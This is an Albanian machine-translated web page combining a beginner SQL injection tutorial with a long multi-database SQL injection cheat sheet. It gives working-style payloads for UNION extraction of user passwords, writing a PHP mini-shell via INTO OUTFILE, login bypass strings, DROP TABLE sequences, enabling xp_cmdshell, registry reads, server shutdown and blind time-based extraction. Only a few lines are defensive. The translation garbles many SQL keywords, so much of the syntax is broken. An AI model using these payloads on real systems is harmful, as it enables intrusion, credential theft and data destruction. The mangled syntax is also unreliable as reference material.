Shtëpi Lule Injeksion SQL brenda dhe jashtë. Problemet në tregun rus

Injeksion SQL brenda dhe jashtë. Problemet në tregun rus

Përshëndetje, lexues. Kohët e fundit, unë kam qenë i dhënë pas sigurisë në ueb dhe deri diku puna ime lidhet me këtë. Sepse Gjithnjë e më shumë fillova të vërej tema në forume të ndryshme, me një kërkesë për të treguar se si funksionon gjithçka, vendosa të shkruaj një artikull. Artikulli do të jetë i dizajnuar për ata që nuk kanë hasur në një të ngjashëm, por që dëshirojnë të mësojnë. Ka relativisht shumë artikuj mbi këtë temë në internet, por për fillestarët, ato janë paksa të komplikuara. Do të përpiqem të përshkruaj gjithçka me gjuhë të qartë dhe shembuj të detajuar.

Parathënie

Për të kuptuar këtë artikull, nuk keni nevojë vërtet për njohuri të gjuhës SQL, por të paktën durim të mirë dhe pak tru për të mësuar përmendësh.

Besoj se një lexim i artikullit nuk do të mjaftojë, sepse ne kemi nevojë për shembuj të gjallë - siç e dini, praktika, në procesin e memorizimit, nuk është kurrë e tepërt. Prandaj, ne do të shkruajmë skriptet e cenueshme dhe do të trajnojmë mbi to.

Çfarë është SQL Injection?
Me fjalë të thjeshta, ky është një sulm në bazën e të dhënave, i cili do t'ju lejojë të kryeni disa veprime që nuk ishin planifikuar nga krijuesi i skenarit. Shembull i jetës reale:

Babai, i shkroi në një shënim nënës që t'i jepte Vasya 100 rubla dhe ta vendoste në tryezë. Duke e ricikluar këtë në një gjuhë shaka SQL, marrim:
Merrni 100 RUBLA NGA portofoli juaj dhe jepini Vasya-s

Meqenëse babai e shkroi shënimin dobët (me shkrim dore Gnarled) dhe e la në tryezë, vëllai i Vasya, Petya, e pa atë. Petya, duke qenë një haker, shtoi "OR Petya" atje dhe u mor kërkesa e mëposhtme:
MERRNI 100 RUBLA NGA portofoli DHE JEPA Vasya OSE Petya

Mami, pasi lexoi shënimin, vendosi që ajo i dha para Vasya dje dhe i dha 100 rubla Pete. Këtu është një shembull i thjeshtë i injektimit SQL nga jeta reale :) Pa filtruar të dhënat (Mami mezi dallonte shkrimin e dorës), Petya bëri një fitim.

Përgatitja
Për praktikë, do t'ju duhet një arkiv me skriptet burimore për këtë artikull. Shkarkoni atë dhe shpaketoni atë në server. Gjithashtu importoni bazën e të dhënave dhe vendosni të dhënat në skedar cfg.php

Kërkimi i injektimit SQL

Siç e keni kuptuar tashmë, injeksioni shfaqet nga të dhënat hyrëse, të cilat nuk filtrohen. Gabimi më i zakonshëm është mos filtrimi i ID-së së kaluar. Epo, përafërsisht, zëvendësoni kuotat në të gjitha fushat. Qoftë një kërkesë GET / POST apo edhe një Cookie!

Parametri numerik i hyrjes
Për praktikë, na duhet një skenar index1.php... Siç thashë më lart, ne zëvendësojmë kuotat në ID-në e lajmit.

Sepse kërkesa jonë nuk ka filtrim:

$ id = $ _MERRNI ["id"]; $ query = "ZGJEDH * NGA lajmet WHERE id = $ id";

Skenari do ta kuptojë këtë si

SELECT * NGA lajmet WHERE id = 1 "

Dhe do të na japë një gabim:
Paralajmërim: mysql_fetch_array () pret që parametri 1 të jetë burim, boolean i dhënë në C: \ WebServ \ domains \ sqlinj \ index1.php në rreshtin 16

Nëse gabimi nuk lëshohet, mund të ketë arsyet e mëposhtme:

1.Injeksioni SQL nuk është këtu - Kuotat janë filtruar, ose thjesht ia vlen të konvertohet në (int)
2. Dalja e gabimit të çaktivizuar.

Nëse ju ende merrni një gabim - Hurra! Ne gjetëm llojin e parë të injektimit SQL - Parametri i hyrjes numerike.

Parametri i hyrjes së vargut

Ne do të dërgojmë kërkesa në index2.php... Në këtë skedar, kërkesa duket si kjo:
$ përdorues = $ _MERI ["përdorues"]; $ query = "SELECT * FROM news WHERE user =" $ user "";

Këtu zgjedhim lajmet sipas emrit të përdoruesit dhe përsëri, nuk filtrojmë.
Përsëri, ne dërgojmë një kërkesë me një kuotë:

Hodhi një gabim. NE RREGULL! Pra, ka një cenueshmëri. Për fillim, kjo na mjafton - le të zbresim në praktikë.

Duke filluar

Pak teori

Ju ndoshta mezi prisni të merrni diçka nga kjo, përveç gabimeve. Së pari, kuptoni se shenja " -- "konsiderohet një koment në SQL.

KUJDES! Duhet të ketë hapësira para dhe pas saj. Në URL, ato kalohen si %20

Çdo gjë që vjen pas komentit do të hidhet poshtë. Kjo është, kërkesa:
SELECT * NGA lajmet WHERE përdoruesi = "AlexanderPHP" - habrahabra

Do të ketë sukses. Ju mund ta provoni këtë në skriptin index2.php duke dërguar një kërkesë si kjo:

Sqlinj / index2.php? Përdoruesi = AlexanderPHP "% 20 -% 20habrahabr

Mësoni parametrin UNION... Në SQL, fjala kyçe UNION përdoret për të kombinuar rezultatet e dy pyetjeve SQL në një tabelë të vetme. Kjo do të thotë, për të nxjerrë diçka që na nevojitet nga një tryezë tjetër.

Duke përfituar prej saj

Nëse parametri është "Numerik", atëherë në kërkesë nuk kemi nevojë të dërgojmë një kuotë dhe natyrisht të vendosim një koment në fund. Le të kthehemi te skenari index1.php.

Le t'i referohemi skriptit sqlinj / index1.php?Id = 1 UNION SELECT 1. Ne marrim një pyetje në bazën e të dhënave si kjo:
SELECT * NGA lajmet WHERE id = 1 UNION SELECT 1
Dhe ai na dha një gabim, sepse për të punuar me grumbullimin e pyetjeve, na duhet i njëjti numër fushash.

Sepse ne nuk mund të ndikojmë në numrin e tyre në kërkesën e parë, atëherë duhet të zgjedhim numrin e tyre në të dytën në mënyrë që të jetë i barabartë me të parën.

Zgjedhja e numrit të fushave

Përzgjedhja e fushave është shumë e thjeshtë, mjafton të dërgoni kërkesat e mëposhtme:
sqlinj / index1.php?id = 1 UNION SELECT 1,2
Gabim…
sqlinj / index1.php? id = 1 UNION SELECT 1,2,3
Përsëri gabim!
sqlinj / index1.php? id = 1 UNION SELECT 1,2,3,4,5
Nuk ka asnjë gabim! Pra, numri i kolonave është 5.

GRUP NGA
Ndodh shpesh që mund të jenë 20 ose 40 ose edhe 60 fusha. Për të mos i përsëritur çdo herë mbi to, ne përdorim GRUP NGA

Nëse kërkesa
sqlinj / index1.php? id = 1 GRUP NGA 2
nuk dha asnjë gabim, kështu që numri i fushave është më shumë se 2. Provoni:

Sqlinj / index1.php?Id = 1 GRUP NGA 8
Mos, shohim një gabim, kështu që numri i fushave është më pak se 8.

Nëse nuk ka gabim me GROUP BY 4, dhe një gabim me GROUP BY 6, atëherë numri i fushave është 5

Përcaktimi i kolonave për të shfaqur
Për të siguruar që asgjë të mos na shfaqet nga kërkesa e parë, mjafton të zëvendësojmë një ID që nuk ekziston, për shembull:

Sqlinj / index1.php?Id = -1 UNION SELECT 1,2,3,4,5


Me këtë veprim, ne kemi përcaktuar se cilat kolona shfaqen në faqe. tani, për të zëvendësuar këta numra me informacionin e kërkuar, duhet të vazhdoni kërkesën.

Prodhimi i të dhënave

Le të themi se e dimë që tabela ekziston ende përdoruesit në cilat fusha ekzistojnë id, emri dhe kalojnë.
Duhet të marrim informacione për përdoruesin me ID = 1

Prandaj, ne do të ndërtojmë një pyetje të tillë:

Sqlinj / index1.php?Id = -1 UNION SELECT 1,2,3,4,5 NGA përdoruesit WHERE id = 1
Skenari gjithashtu vazhdon të dalë

Për ta bërë këtë, ne do të zëvendësojmë emrin e fushave, për vendin e numrave 1 dhe 3

Sqlinj / index1.php Id = -1 UNION SELECT emër, 2, kalim, 4,5 NGA përdoruesit WHERE id = 1
Ne morëm atë që kërkohej!

Për "parametrin e hyrjes së vargut", si në skript index2.php ju duhet të shtoni një thonjëza në fillim dhe një shenjë komenti në fund. Shembull:
sqlinj / index2.php? përdorues = -1 "UNION SELECT emri, 2, kalim, 4,5 NGA përdoruesit WHERE id = 1 -% 20

Leximi / Shkrimi i skedarëve

Për të lexuar dhe shkruar skedarë, përdoruesi i bazës së të dhënave duhet të ketë të drejta FILE_PRIV.
Regjistrimi i skedarit
Në fakt, gjithçka është shumë e thjeshtë. Për të shkruar një skedar, ne do të përdorim funksionin PAJISJE.
sqlinj / index2.php? përdorues = -1 "UNION SELECT 1,2,3,4,5 INTO OUTFILE" 1.php "-% 20
E shkëlqyeshme, dosja është regjistruar tek ne. Kështu, Ne mund të plotësojmë mini-shell:
sqlinj / index2.php? përdorues = -1 "UNION SELECT 1,"", 3,4,5 INTO OUTFILE" 1.php "-% 20
Leximi i skedarëve
Leximi i skedarëve është edhe më i lehtë se shkrimi. Është mjaft e lehtë për të përdorur funksionin LOAD_FILE, për vendin e fushës që zgjedhim:

Sqlinj / index2.php? Përdoruesi = -1 "UNION SELECT 1, LOAD_FILE (" 1.php "), 3,4,5 -% 20

Kështu, ne kemi lexuar skedarin e mëparshëm të regjistruar.

Metodat e mbrojtjes

Është edhe më e lehtë të mbrosh veten sesa të shfrytëzosh cenueshmërinë. Thjesht filtro të dhënat. Nëse po kaloni numra, përdorni
$ id = (int) $ _MERRNI ["id"];
Siç sugjerohet nga përdoruesi malroc. Mbrojtur duke përdorur PDO ose deklarata të përgatitura.

Në vend të përfundimit

Këtu dua të përfundoj pjesën time të parë në lidhje me "Injeksion SQL për fillestarët". Në të dytën, ne do të shohim shembuj më të rëndë të injektimit. Mundohuni të shkruani skriptet e cenueshme dhe të ekzekutoni vetë pyetje.
Dhe mbani mend, mos i besoni asnjë përdoruesi të faqes tuaj.

Etiketa: Shto etiketa

SQL Injection Cheat Sheet është krijuar për të përmbledhur tiparet teknike të llojeve të ndryshme të dobësive të injektimit SQL. Artikulli paraqet veçoritë e injektimit SQL në MySQL, Microsoft SQL Server, ORAKULLI dhe PostgreSQL.

0. Hyrje
Në këtë artikull, mund të gjeni informacion të detajuar teknik rreth llojeve të ndryshme të injektimit SQL. Mund të jetë i dobishëm si për specialistët me përvojë ashtu edhe për fillestarët në fushën e sigurisë së informacionit.

Për momentin, fleta e mashtrimit përmban informacion vetëm për MySQL, Microsoft SQL Server dhe disa të dhëna për ORACLE dhe PostgreSQL. Seksionet përmbajnë shembuj të sintaksës, shpjegimit dhe injektimit.

Shënimi i përdorur:
M (MySQL);
S (SQL Server);
O (Oracle);
P (PostgreSQL);
+ (ndoshta në baza të tjera të dhënash);
* (kërkohen kushte të veçanta).

1. Komentet e rreshtit
Komentet janë përgjithësisht të dobishme për të injoruar një pjesë të kërkesës.
Sintaksë:
- (SM): DROP mostër; -
# (M): DROP mostër tabelë; #
Shembull:
Emri i përdoruesit: admin "-
Pyetje e krijuar: SELECT * FROM anëtarët WHERE emri i përdoruesit = "admin" - "AND password =" password "
Kjo do t'ju lejojë të identifikoheni si përdorues administratori, duke injoruar kontrollin e fjalëkalimit.

2. Blloko komentet
Me ndihmën e tyre, ju mund të injoroni një pjesë të kërkesës, të zëvendësoni hapësirat, të anashkaloni listat e zeza, të përcaktoni versionin e bazës së të dhënave.
Sintaksë:
/ * Koment * / (SM):
DROP / * koment * / mostër tabelë
DR / ** / OP / * traverse_black_list * / tabela e mostrës
SELECT / * space_replace * / password / ** / FROM / ** / Anëtarët

/ *! MYSQL Special SQL * / (M): SELECT / *! 32302 1/0, * / 1 FROM emri i tabelës
Kjo është një sintaksë e komenteve specifike për MySQL. Kjo ju lejon të zbuloni versionin tuaj MySQL. Ky koment do të funksionojë vetëm në MySQL.
Shembuj:
ID: 10; Anëtarët e DROP TABLE / *
Ne shpërfillim pjesën tjetër të kërkesës, si dhe një koment rreshti.

ID: / *! 32302 10 * /
do të merrni të njëjtën përgjigje si me ID = 10 nëse versioni MySQL është më i lartë se 3.23.02

ID: / *! 32302 1/0, * /
Pyetje e krijuar: SELECT / *! 32302 1/0, * / 1 FROM emri i tabelës
Gabimi i ndarjes me 0 do të ndodhë nëse serveri ka versionin MySQL më të lartë se 3.23.02

3. Sekuenca e kërkesave
Ju lejon të ekzekutoni më shumë se një kërkesë në të njëjtën kohë. Kjo është e dobishme në çdo pikë të injektimit.


E gjelbër - e mbështetur; e zezë - nuk mbështetet; gri - e panjohur.
Sintaksë:
; (S): SELECT * FROM anëtarët; Anëtarët e DROP--
Një kërkesë ka përfunduar, tjetra ka filluar.
Shembull:
ID: 10; anëtarët e DROP -
Pyetje e krijuar: SELECT * FROM produkteve WHERE id = 10; Anëtarët e DROP--
Ky pyetje do të heqë tabelën e anëtarëve pas një pyetjeje normale.

4. Deklarata me kusht
Ne do të marrim një përgjigje për kërkesën nëse plotësohet kushti. Kjo është një nga pikat kryesore të injektimit të verbër. Ato ndihmojnë gjithashtu për të kontrolluar me saktësi gjërat e thjeshta.
Sintaksë:
IF (kusht, pjesa e vërtetë, pjesa e gabuar) (M): ZGJIDH NËSE (1 = 1, "e vërtetë", "false")
IF kushti true-part ELSE false-part (S): IF (1 = 1) SELECT "true" ELSE SELECT "false"
NESE kushti ATHERE pjesa e vertete; TJETËR false-pjesë; FUND NËSE; FUND; (O): NËSE (1 = 1) PASTAJ dbms_lock.sleep (3); TJETER dbms_lock.sleep (0); FUND NËSE; FUND;
ZGJIDH RASIN KUR kushti THËNË e vërtetë-pjesa TJETËR false-pjesa FUND; (P): ZGJIDH RASTIN KUR (1 = 1) PASTAJ "A" TJETER "B" FUND;
shembull:
nëse ((përzgjedh përdorues) = "sa" OSE (përzgjedh përdorues) = "dbo") zgjidhni 1 tjetër zgjidhni 1/0 (S)
do të hedhë një gabim pjesëtimi me zero nëse përdoruesi aktual nuk është "sa" ose "dbo".

5. Përdorimi i numrave
Përdoret për të anashkaluar magic_quotes () dhe filtra të ngjashëm, duke përfshirë WAF.
Sintaksë:
0xHEX_NUMBER (SM):
ZGJIDH SHKARKËN (0x66) (S)
SELECT 0x5045 (ky nuk është një numër, por një varg) (M)
ZGJIDH 0x50 + 0x45 (ky është tani një numër) (M)
Shembuj:
ZGJIDH LOAD_FILE (0x633A5C626F6F742E696E69) (M)
Do të tregojë përmbajtjen e skedarit c: \ boot.ini

6. Lidhja e vargut
Operacionet e rreshtave mund t'ju ndihmojnë të anashkaloni filtrat ose të përcaktoni një bazë të dhënash.
Sintaksë:
+ (S): SELECT hyrje + "-" + fjalëkalim nga anëtarët
|| (* MO): SELECT hyrje || "-" || fjalëkalimi nga anëtarët
Do të funksionojë nëse MySQL po funksionon në modalitetin ANSI. Përndryshe MySQL nuk do ta pranojë atë si operator boolean dhe do të kthejë 0. Është më mirë të përdoret funksioni CONCAT () në MySQL.

CONCAT (str1, str2, str3, ...) (M): SELECT CONCAT (hyrja, fjalëkalimi) FROM anëtarët

7. Rreshtat pa thonjëza
Ka disa mënyra për të shmangur përdorimin e thonjëzave në një pyetje, për shembull me CHAR () (MS) dhe CONCAT () (M).
Sintaksë:
ZGJIDH 0x457578 (M)

MySQL ka një mënyrë të thjeshtë për të shtrirë një varg:
SELECT CONCAT ("0x", HEX ("c: \\ boot.ini"))

Kthen vargun "KLM":
SELECT CONCAT (CHAR (75), CHAR (76), CHAR (77)) (M)
ZGJIDH SHKARKUAR (75) + SHKARKUAR (76) + SHKARKUAR (77) (S)
SELECT CHR (75) || CHR (76) || CHR (77) (O)
SELECT (CHaR (75) || CHaR (76) || CHaR (77)) (P)

8. Shndërrimi i vargjeve dhe numrave.
Sintaksë:
ASCII () (SMP): ZGJIDH ASCII ("a")
Kthen kodin ASCII të karakterit më të majtë. Funksioni përdoret për injeksione të verbëra.

CHAR () (SM): ZGJIDH SHKARKUAR (64)
Përkthen kodin ASCII në karakterin përkatës.

9. Operatori UNION
Me operatorin UNION, mund të kërkoni për kryqëzimin e tabelave. Në thelb, ju mund të dërgoni një pyetje që kthen një vlerë nga një tabelë tjetër.
Shembull:
ZGJIDH kokën, txt NGA lajmet UNION ALL SELECT emrin, kaloje nga anëtarët
Kjo do të kombinojë rezultatet nga tabelat e lajmeve dhe anëtarëve.

10. Anashkalimi i vërtetimit (SMO +)
Shembuj:
admin "-
admin "#
admin "/ *
"ose 1 = 1--
"ose 1 = 1 #
"ose 1 = 1 / *
") ose" 1 "=" 1--
") ose (" 1 "=" 1--

11. Anashkaloni vërtetimin duke përdorur MD5
Nëse aplikacioni së pari krahason emrin e përdoruesit dhe më pas krahason hash-in md5 të fjalëkalimit, atëherë ju nevojiten disa teknika shtesë për të anashkaluar vërtetimin. Ju mund t'i kombinoni rezultatet me një fjalëkalim të njohur dhe hash-in e tij.
Shembull (MSP):
Emri i përdoruesit: admin
Fjalëkalimi: 1234 "AND 1 = 0 UNION ALL SELECT" admin ","
= MD5 (1234)

12. Bazuar në gabime
12.1 Përcaktimi i kolonave me HAVING BY (S)
Shembull:
Në të njëjtin rend
"KANË 1 = 1 -
"GRUPI SIPAS tabelës.columnfromerror1 KA 1 = 1 -
"GROUP BY tabela.columnfromerror1, columnfromerror2 KANE 1 = 1 -
"GROUP BY tabela.columnfromerror1, columnfromerror2, columnfomerror3 KANE 1 = 1 -
…………….
Vazhdoni derisa të mos merrni më gabime.

12.2 Përcaktimi i numrit të kolonave me ORDER BY (MSO +)
Gjetja e numrit të kolonave duke përdorur ORDER BY mund të përshpejtohet duke përdorur injeksionin UNION.
Porosit me 1--
Porosit me 2--
Porosit me 3-
………………..
Vazhdoni derisa të merrni një mesazh gabimi. Kjo do të tregojë numrin e kolonave.

13. Përcaktimi i llojit të të dhënave
Përdorni gjithmonë UNION me ALL.
Për të hequr qafe një hyrje të panevojshme në tabelë, përdorni -1 çdo vlerë që nuk ekziston në fillim të pyetjes (nëse injektimi është në parametrin WHERE). Kjo është e rëndësishme nëse mund të rikuperoni vetëm një vlerë në të njëjtën kohë.
Përdorni NULL në injeksionin UNION në vend që të përpiqeni të merrni me mend një varg, datë, numër, etj. Por kini kujdes me injeksionin e verbër, si ju mund të ngatërroni gabimin e DB-së dhe vetë aplikacionit. Disa gjuhë, për shembull ASP.NET, hedhin një gabim kur përdorin një vlerë NULL (sepse zhvilluesit nuk prisnin të shihnin një vlerë null në fushën e emrit të përdoruesit)
Shembuj:
"shuma e zgjedhjes së bashkimit (kollona për të gjetur) nga përdoruesit-- (S):
Nëse nuk merrni një mesazh gabimi, atëherë kolona është numerike.

ZGJIDH * NGA Tabela 1 KU id = -1 UNION ALL SELECT null, null, NULL, NULL, konverto (imazh, 1), null, null, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL -
Mund të përdorni CAST () ose CONVERT ()

11223344) UNION SELECT NULL, NULL, NULL, NULL WHERE 1 = 2 --
Nëse nuk ka gabim, atëherë sintaksa është e saktë, d.m.th. përdoret nga MS SQL Server.

11223344) UNION SELECT 1, NULL, NULL, NULL WHERE 1 = 2 --
Nëse nuk ka gabim, atëherë kolona e parë është një numër.

11223344) UNION SELECT 1,2, NULL, NULL WHERE 1 = 2 -
Nëse ndodh një gabim, atëherë kolona e dytë nuk është një numër.

11223344) UNION SELECT 1, '2', NULL, NULL WHERE 1 = 2 --
Nëse nuk ka gabim, atëherë kolona e dytë është një rresht.
……………..

14. Futje e thjeshtë (MSO +)
Shembull:
"; futni në përdoruesit vlerat (1," hax0r "," coolpass ", 9) / *

15. Mbledhja e informacionit
Sintaksë:
Versioni @@ (MS)
Mund të kontrolloni versionin e DB dhe më shumë detaje.
Shembull:
INSERT INTO anëtarë (id, përdorues, kalim) VALUES (1, "" + SUBSTRING (@@ version, 1,10), 10)

16. Insert kompleks (S)
Ju lejon të futni përmbajtjen e një skedari në një tabelë. Nëse nuk e dini rrugën e brendshme të aplikacionit në internet, mund të lexoni metabazën e IIS (vetëm IIS 6).
Sintaksë:
skedar (% systemroot% \ system32 \ inetsrv \ MetaBase.xml)
Pastaj mund të gjeni shtigjet e aplikacionit në të.
Shembull:
1. Krijo tavolinë foo (varg i tipit varchar (8000))
2. Futni në tabelën foo përmbajtjen e skedarit 'c: \ inetpub \ wwwroot \ login.asp'
3. Hiqni tabelën e përkohshme dhe përsëriteni për një skedar tjetër.

17. PKK (S)
Shkruan një skedar teksti. Kjo kërkon kredenciale.
Shembull:
bcp Pyetja "SELECT * FROM test..foo" c: \ inetpub \ wwwroot \ runcommand.asp -c -Slocalhost -Usa -Pfoobar

18.VBS, WSH në SQL Server (S)
Ju mund të përdorni skriptet VBS, WSH në SQL Server.
Shembull:
Emri i përdoruesit: "; deklaro @o int exec sp_oacreate" wscript.shell ", @o out exec sp_oamethod @o," ekzekuto ", NULL," notepad.exe "-

19. Ekzekutimi i komandave të sistemit (S)
Mashtrim i njohur, funksioni është i çaktivizuar si parazgjedhje në SQL Server 2005. Ju nevojiten të drejtat e administratorit.
Shembull:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Tabelat speciale në SQL Server (S)
Shembuj:
Mesazhet e gabimit: master..sysmessages
Serverë të lidhur: master..sysservers
Fjalëkalimi SQL Server 2000: masters..sysxlogins
Fjalëkalimi SQL Server 2005: sys.sql_logins

21. Disa procedura të ruajtura për SQL Server (S)
Sintaksë:
Cmd Ekzekutoni (xp_cmdshell)
Gjërat e regjistrit (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremomulistring
xp_regwrite
Menaxhimi i shërbimeve (xp_servicecontrol)
Mediat (xp_availablemedia)
Burimet ODBC (xp_enumdsn)
Modaliteti i hyrjes (xp_loginconfig)
Krijimi i skedarëve të kabinës (xp_makecab)
Regjistrimi i domenit (xp_ntsec_enumdomains)
Vrasja e procesit (kërkohet PID) (xp_terminate_process)
Shto procedurë të re (sp_addextendedproc)
Shkruani skedar teksti në një UNC ose një shteg të brendshëm (sp_makewebtask)
Shembuj:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM \ CurrentControlSet \ Shërbimet \ lanmanserver \ parametrat", "nullsessionshares"
exec xp_regenumvalues‎
sp_addextendedproc 'xp_webserver', 'c: \ temp \ x.dll'
exec xp_webserver

22. Shënime me shumicë MSSQL
Shembuj:
SELECT * FROM master..sysprocesses / * WHERE [email i mbrojtur]@ SPID * /
DEKLARONI @result int; EXEC @result = xp_cmdshell "dir * .exe"; IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME ()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL / Q "DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. Injeksion SQL në pyetje LIMIT (M).
Shembull:
SELECT ID, produkt FROM test.test LIMIT 0,0 UNION ALL SELECT 1, "x" / *, 10;
Për të kapërcyer deklaratën LIMIT, mund të përdorni UNION ose koment.

24. Fikja e SQL Server (S)
Shembull:
"; fike -

25. Aktivizimi i xp_cmdshell në SQL Server 2005
Sintaksë:
Si parazgjedhje, xp_cmdshell dhe disa funksione të tjera potencialisht të rrezikshme janë të çaktivizuara në SQL Server 2005. Si administrator, mund t'i aktivizoni ato.
EXEC sp_configure "shfaq opsionet e avancuara", 1
RIKOFIGUROJE
EXEC sp_configure "xp_cmdshell", 1
RIKOFIGUROJE

26. Kërkimi i strukturës së bazës së të dhënave në SQL Server (S)
Shembuj:
ZGJIDH emrin NGA sysobjektet WHERE xtype = "U"

SELECT emrin FROM syscolumns WHERE id = (SELECT ID FROM sysobjects WHERE emri = "emri i tabelësfor emrat e kolonave")
Marrja e titujve të kolonave

27. Regjistrimet lëvizëse (S)
Shembuj:
... WHERE NOT IN përdoruesit ("Përdoruesi i parë", "Përdoruesi i dytë")
Përdorni WHERE me NOT IN ose NUK EKSIST

ZGJIDH emrin TOP 1 NGA anëtarët KU NUK EKZISTON (ZGJEDH TOP 0 emrat NGA anëtarët)

SELECT * FROM Produkt WHERE ID = 2 DHE 1 = CAST ((Zgjidh emrin e p.nga (SELECT (SELECT (SELECT COUNT (i.id) AS shpëtoj FROM sysobjects i WHERE i.id<=o.id)
AS x, emri nga sysobjektet o) si p ku p.x = 3) si int

Zgjidh emrin e faqes nga (SELECT (SELECT (SELECT COUNT (i.id) AS shpëtoj FROM sysobjects i WHERE xtype = "U" dhe i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Një mënyrë e shpejtë për të nxjerrë të dhëna nga Injektimi SQL i bazuar në gabime në SQL Server (S)
"; FILLO DEKLARONI @rt varchar (8000) SET @ rd =": "SELECT @ [email i mbrojtur]+ "" + emri FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE emri = "MEMBERS") DHE emri> @rd SELECT @rd AS rd në fund TMP_SYS_TMP; -

29. Kërkimi i strukturës së bazës së të dhënave në MySQL (M)
Shembuj:
ZGJIDH emrin e tabelës FROM information_schema.tables WHERE table_schema = "emri i tabelës"
Marrja e tabelave të personalizuara

SELECT emri_tabele, emri i kolones FROM information_schema.columns WHERE table_schema = "emri i tabeles"
Marrja e titujve të kolonave

30. Kërkimi i strukturës së bazës së të dhënave në Oracle (O)
Shembuj:
ZGJIDH * NGA të gjitha_tabelat WHERE OWNER = "DATABASE_NAME"
Marrja e tabelave të personalizuara

SELECT * NGA all_col_comments WHERE TABLE_NAME = "TABLE"
Marrja e titujve të kolonave

31. Injeksion i verbër
Në një aplikacion cilësor, nuk do të mund të shihni mesazhe gabimi. Nuk do të mund të përdorni operatorin UNION dhe sulmet e bazuara në gabime. Ju do të duhet të përdorni injeksion të verbër SQL për të marrë të dhëna. Ekzistojnë dy lloje të injeksioneve të verbër.
Injeksion i thjeshtë i verbër: Nuk mund t'i shihni rezultatet e kërkesave në faqe, por rezultatin mund ta përcaktoni nga përgjigja ose statusi HTTP.
Injeksion plotësisht i verbër: Nuk do të shihni ndonjë ndryshim në dalje.
Në injeksionet normale të verbër mund të përdorni deklaratat IF dhe WHERE, në injeksione plotësisht të verbër ju duhet të përdorni disa funksione pritjeje dhe të krahasoni kohët e përgjigjes. Për ta bërë këtë, mund të përdorni WAIT FOR DELAY '0: 0: 10' në SQL Server, BENCHMARK () dhe gjumë (10) në MySQL, pg_sleep (10) në PostgreSQL.
Shembull:
Ky shembull bazohet në një shfrytëzim të botës reale të Blind Injection në SQL Server.

E VËRTETË: SELECT ID, Emri i Përdoruesit, Email FROM WHERE ID = 1 DHE ISNULL (ASCII (SUBSTRING ((ZGJIDH TOP 1 emri FROM sysObjects WHERE xtYpe = 0x55 DHE emri NOT IN (ZGJEDH TOP 0 emri FROM sysObjectYpe) =10xt , 1)), 0)> 78--

FALSE: SELECT ID, Emri i Përdoruesit, Email FROM WHERE ID = 1 DHE ISNULL (ASCII (SUBSTRING ((ZGJIDH TOP 1 emri FROM sysObjects WHERE xtYpe = 0x55 DHE emri NOT IN (ZGJEDH TOP 0 emri FROM sysObjects WHERE 5) =1 x5 , 1)), 0)> 103--

FALSE: SELECT ID, Emri i Përdoruesit, Email FROM WHERE ID = 1 DHE ISNULL (ASCII (SUBSTRING ((ZGJIDH TOP 1 emri FROM sysObjects WHERE xtYpe = 0x55 DHE emri NOT IN (ZGJEDH TOP 0 emri FROM sysObjects WHERE 5) =1 x5 , 1)), 0)> 89--

FALSE: SELECT ID, Emri i Përdoruesit, Email FROM WHERE ID = 1 DHE ISNULL (ASCII (SUBSTRING ((ZGJIDH TOP 1 emri FROM sysObjects WHERE xtYpe = 0x55 DHE emri NOT IN (ZGJEDH TOP 0 emri FROM sysObjects WHERE 5) =1 x5 , 1)), 0)> 83--

E VËRTETË: SELECT ID, Emri i Përdoruesit, Email FROM WHERE ID = 1 DHE ISNULL (ASCII (SUBSTRING ((ZGJIDH TOP 1 emri FROM sysObjects WHERE xtYpe = 0x55 DHE emri NOT IN (ZGJEDH TOP 0 emri FROM sysObjects WHERE 5) =1 x5 , 1)), 0)> 79--

FALSE: SELECT ID, Emri i Përdoruesit, Email FROM WHERE ID = 1 DHE ISNULL (ASCII (SUBSTRING ((ZGJIDH TOP 1 emri FROM sysObjects WHERE xtYpe = 0x55 DHE emri NOT IN (ZGJEDH TOP 0 emri FROM sysObjects WHERE 5) =1 x5 , 1)), 0)> 80--

Bazuar në dy pyetjet e fundit, ne e dimë me siguri se vlera e karakterit të parë në ascii është 80. Pra, karakteri i parë është `P`. Kështu, ne mund të zbulojmë emrat e tabelave dhe përmbajtjen e tyre. Një mënyrë tjetër është leximi i të dhënave pak nga pak.

32. Injeksion plotësisht i verbër
Përdoreni këtë metodë vetëm për injeksione vërtet të verbër. Kini kujdes me vonesën.
Sintaksë:
PRIT PËR VONESË "koha" (S)
Funksioni thjesht pret kohën e specifikuar pa ngarkuar procesorin.
Shembuj:
if (select user) = "sa" presin për vonesë "0: 0: 10"
ID-ja e produktit = 1; pritje për vonesë "0: 0: 10" -
ID-ja e produktit = 1); prisni për vonesë "0: 0: 10" -
ID-ja e produktit = 1 "; pritje për vonesë" 0: 0: 10 "-
ID-ja e produktit = 1 "); pritje për vonesë" 0: 0: 10 "-
ID-ja e produktit = 1)); prisni për vonesë "0: 0: 10" -
ID-ja e produktit = 1 ")); prisni për vonesë" 0: 0: 10 "-
Sintaksë:
PREFERI (sa herë, bëje këtë) (M)
Shembull:
NËSE EKZISTON (ZGJIDH * NGA përdoruesit WHERE emri i përdoruesit = "rrënjë") BENCHMARK (1000000000, MD5 (1))
Ne kontrollojmë për praninë e përdoruesit rrënjë.

IF (ZGJEDHJE * NGA identifikimi) BENCHMARK (1000000, MD5 (1))
Kontrollimi për një tabelë në MySQL
Sintaksë:
pg_gjumë (sekonda) (P)
Flini për sekondat e ofruara.

gjumë (sekonda) (M)
fle për sekondat e ofruara.

bms_pipe.receive_message (O)
fle për sekondat e ofruara.
Shembull:
(ZGJIDH RASTIN WHEN (NVL (ASCII (SUBSTR (((INJECTION)), 1,1)), 0) = 100) PASTAJ dbms_pipe.receive_message (("xyz"), 10) TJETER dbms_pipe.receive_message (("xyz" ), 1) FUND NGA dyfishi)
(INJEKTION) është kërkesa juaj.
